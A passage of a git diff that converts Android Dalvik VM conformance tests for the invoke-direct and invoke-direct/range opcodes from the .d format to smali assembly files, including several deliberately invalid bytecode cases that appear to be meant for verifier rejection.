+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_25;
+.super Ldot/junit/opcodes/invoke_direct/TSuper;
+.source "T_invoke_direct_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 6
+
+    new-instance v2, Ldot/junit/opcodes/invoke_direct/TPlain;
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TPlain;-><init>()V
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_25;->test()V
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali
new file mode 100644
index 0000000..50aef9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_direct/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..f3c690e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_direct/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali
new file mode 100644
index 0000000..0e044fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_26;
+.super Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;
+.source "T_invoke_direct_26.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali
new file mode 100644
index 0000000..5cc1b25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_27.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;
+
+    invoke-direct {v0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;->test()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d
deleted file mode 100644
index 6aa7821..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_3.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali
new file mode 100644
index 0000000..06de64e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali
new file mode 100644
index 0000000..8cc1d91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_4;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_4.java"
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-direct {}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_4;-><clinit>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d
deleted file mode 100644
index c4dac34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_5.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali
new file mode 100644
index 0000000..2b77d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d
deleted file mode 100644
index 6bb8833..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_6.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V    
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/toIntPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali
new file mode 100644
index 0000000..61a123b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d
deleted file mode 100644
index 13432bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_7.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7/toInt()I
-       const v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali
new file mode 100644
index 0000000..8e34bb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d
deleted file mode 100644
index 99b510b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_8.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/4 v1, 0
-       invoke-direct {v1}, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_8/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali
new file mode 100644
index 0000000..a370405
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali
new file mode 100644
index 0000000..33e04b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_9;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private native toInt()I
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_9;->toInt()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d
deleted file mode 100644
index 7123eb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_1.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_1
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TSuper/toInt()I
-       move-result v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali
new file mode 100644
index 0000000..c3f2d15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d
deleted file mode 100644
index 2dcf576..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_10.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v0, 1222
-       invoke-direct/range {v0}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali
new file mode 100644
index 0000000..cfc20b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
